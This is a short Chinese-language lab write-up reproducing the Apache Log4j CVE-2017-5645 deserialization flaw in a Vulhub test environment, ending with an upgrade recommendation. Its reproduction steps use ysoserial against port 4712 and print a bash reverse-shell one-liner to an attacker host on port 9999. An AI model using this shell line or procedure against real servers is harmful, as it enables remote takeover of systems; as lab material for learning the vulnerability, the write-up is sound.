一、漏洞介绍
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
二、影响版本
Apache Log4j 2.8.2之前的2.x版本 Log4j2.x<=2.8.1
三、漏洞复现
启动Vulhub靶场
进入vulhub靶场目录选择logj4下的CVE-2017-5645镜像,启动镜像。
查看镜像映射端口情况,使用的是4712端口
我们使用ysoserial生成payload,然后直接发送给your-ip:4712端口
进入容器,查看在运行容器的ID,通过 exec 命令对指定的容器执行 bash进入查看temp目录下是否成功生成error0文件
对反弹shell进行base64编码:
bash -i >& /dev/tcp/192.168.47.143/9999 0>&1
编码后,用ysoserial构造payload:
用Windows进行监听:
成功反弹shell
四、修复建议
升级到新的安全版本